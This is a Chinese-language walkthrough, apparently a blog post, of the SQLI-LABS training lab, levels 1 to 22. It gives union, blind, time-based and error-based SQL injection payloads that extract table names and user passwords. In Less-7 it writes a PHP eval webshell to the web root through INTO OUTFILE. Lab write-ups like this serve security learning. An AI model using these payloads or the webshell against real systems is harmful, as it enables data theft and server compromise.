SQLI-LABS 靶场通关小记(1~22)


Less-1:

通过在id后面加反斜杠\发现是单引号闭合

image-20210713195107911

1.查询字段数
有3个字段
?id=1' and 1=1 order by 3 -- qwe	//正常
?id=1' and 1=1 order by 4 -- qwe  //报错

image-20210713195532874

2.查询输出点
?id=1' and 1=2 union select 1,2,3 -- qwe

image-20210713195911131

3.查询库名
?id=1' and 1=2 union select 1,database(),3 -- qwe					//库名是security

image-20210713200412114

4.查询表名
有emails,referers,uagents,users表

?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 -- qwe
?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe

image-20210713201028272

5.查询字段名
查询users表:
有字段:id,username,password
?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 -- qwe
?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe

image-20210713204900089

6.查询数据
?id=1' and 1=2 union select 1,username,3 from users limit 0,1 -- qwe

?id=1' and 1=2 union select 1,group_concat(id,0x3a,username,0x3a,password,0x3c,0x68,0x72,0x2F,0x3E),3 from users limit 0,1 -- qwe
0x3a	:
0x3c	<
0x68	h
0x72	r
0x2F	/
0x3E	>

image-20210713210002685

Less-2:

在id后加反斜杠\发现并不用闭合可以直接查询

image-20210713210649191

1.查询输出点
?id=1 and 1=2 union select 1,2,3 -- qwe

image-20210713210817205

Less-3:

在id后加反斜杠\发现是单引号括号')闭合

image-20210713211626900

1.查询输出点
?id=1') and 1=2 union select 1,2,3 -- qwe

image-20210713211753277

Less-4:

在id后加入反斜杠\,发现是双引号括号")闭合

image-20210713212059378

1.查询输出点
?id=1") and 1=2 union select 1,2,3 -- qwe

image-20210713212156818

Less -5:

使用反斜杠\猜测应该需要单引号'闭合

image-20210713214509360

1.使用left()函数进行截取测试
?id=1' and left(version(),1)=3%23				//截取version()最左侧得到的值是否为3,如果为3返回you are in...
?id=1' and left(version(),1)=5%23				//you are in... 

image-20210713215047748

2.使用length判断长度
库名长度是8
?id=1' and length(database())=8%23

image-20210713215549558

3.利用ascii码猜测数据库名
?id=1' and ascii(substr(database(),1,1))=115%23						//115对应的是s

image-20210713220106735

image-20210713220122345

利用Burp跑出数据库名

image-20210713220423802

image-20210713220634993

image-20210713220802993

1				115			s
2				101			e
3				99			c
4				117			u
5				114			r
6				105			i
7				116			t
8				121			y
库名:security

image-20210713221033018

4.使用二分法进行盲注查表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1%23				//you are in ...
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101%23			//表名的首字母ascii码是101	e

image-20210713222500683

Less-6:

在id后加入反斜杠\发现这个应该是双引号"闭合

image-20210713223202431

1.使用length判断长度
?id=1" and ascii(substr(database(),1,1))=115%23					//库名的首字母对应的ascii码是115是s

image-20210713223419201

Less-7:

打开题目感觉应该要使用outfile写入一句话木马

image-20210713225712270

1.查看源码

要使用'))闭合

image-20210713225807415

2.写入一句话木马连接蚁剑
?id=1'))union select 1,2,"<?php @eval($REQUEST['HACK']);?>" into outfile "/var/www/html/webshell.php" -- qwe

image-20210713232718963

image-20210713232734328

image-20210713235240281

image-20210713235445862

Less-8:

使用单引号闭合

image-20210713235957263

1.使用length判断长度
?id=1' and ascii(substr(database(),1,1))=115 -- qwe					//正常,库名首字母ascii码115所对应的字母是s	

image-20210714000205300

Less-9:

同第8题也可以使用时间盲注

1.使用sleep()函数进行时间盲注
?id=1' and if(ascii(substr(database(),1,1))=100,sleep(10),1) -- qwe

使用bp测试跑包

image-20210714001133690

image-20210714001231004

115很突出,说明库名首字母的ascii码是115所对应的字符是s

image-20210714001509049

Less-10:

通过查看源码知道这是需要双引号闭合的盲注题

image-20210714002137219

payload:?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) -- qwe

image-20210714003044014

Less -11

在登录框输入反斜杠\发现应该是单引号'闭合

image-20210714003617327

1.显错注入,查询字段数
'or 1=1 order by 3 -- qwe						//报错
'or 1=1 order by 2 -- qwe						//正常

image-20210714004540621

2.查询输出点
'or 1=2 union select 1,2 -- qwe

image-20210714004730421

3.查询库名
'or 1=2 union select 1,database() -- qwe

image-20210714004858875

Less-12:

双引号括号")闭合

image-20210714005010532

1.查询库名
")or 1=2 union select 1,database() -- qwe

image-20210714005303659

Less-13:

利用反斜杠\得知应该是单引号括号')闭合

image-20210714005659236

1.尝试查询库名

并没有输出

')or1=2 union select 1,database() -- qwe

image-20210714005958470

2.使用盲注
1') or ascii(substr((database()),1,1))>100 -- qwe	
1') or ascii(substr((database()),1,1))>114 -- qwe
1') or ascii(substr((database()),1,1))=115 -- qwe				首字母所对应ascii码是115

image-20210714011043614

Less-14:

双引号闭合,同13题

image-20210714011249067

Less-15:

通过测试是单引号闭合,布尔盲注同13题

'or left(database(),1)='s'#			//正常,首字母是s

image-20210714011915606

Less-16:

双引号括号")闭合,其余操作同13题

image-20210714012202162

Less-17:

单引号闭合,当我们输入单引号时会出现报错信息

image-20210714012918260

1.尝试使用updatexml输出库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- qwe

image-20210714013105648

2.输出表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- qwe

image-20210714013610469

3.输出字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- qwe

image-20210714014002741

4.输出数据
'and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1) -- qwe

image-20210714014300839

Less-18:

发现正常登录它会输出user-agent头里的内容

image-20210714015736170

1.在后面加入单引号查看报错

image-20210714015833600

2.利用updatexml查看数据库名称
'and updatexml(1,concat(0x7e,(select database()),0x7e),1)or '1=1 -- qwe

image-20210714020147169

2.利用extractvalue查看数据库名称
'and extractvalue(1,concat(0x7e,database()))or '1=1 -- qwe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Chrt7taz-1626201897312)(C:/Users/000/AppData/Roaming/Typora/typora-user-images/image-20210714020353822.png)]

Less-19:
1.源码分析:
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
和18题的区别是把$uagent的值变成了HTTP_REFERER ,所以存在注入

image-20210714020831727

2.加入单引号测试是否存在注入

image-20210714021152243

3.报错注入
'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1=1 

image-20210714021339367

Less-20:

登录后发现会记录cookie

image-20210714021556548

1.抓取cookie

image-20210714021641957

2.加入单引号查看是否会返回报错信息

image-20210714021826415

3.使用updatexml报错注入获取数据库名称
'and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1

image-20210714022024420

Less-21:

登录后发现这道题将cookie进行了base64的加密

image-20210714022424812

1.抓取cookie

image-20210714022502096

image-20210714022702268

2.使用反斜杠爆出闭合方式

单引号闭合

image-20210714023022156

image-20210714023114265

3.将报错语句进行Base64加密
'and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1

image-20210714023247693

4.查询库名

image-20210714023330743

Less-22:

登录后发现依旧是对cookie做了base64的加密

image-20210714023504522

1.加反斜杠爆出闭合方式

双引号闭合

image-20210714023646329

2.对报错语句进行Base64加密
"and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1

image-20210714023920509

3.查询库名

语句进行Base64加密

'and updatexml(1,concat(0x7e,database(),0x7e),1)or '1=1

image-20210714023948302

  • 5
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值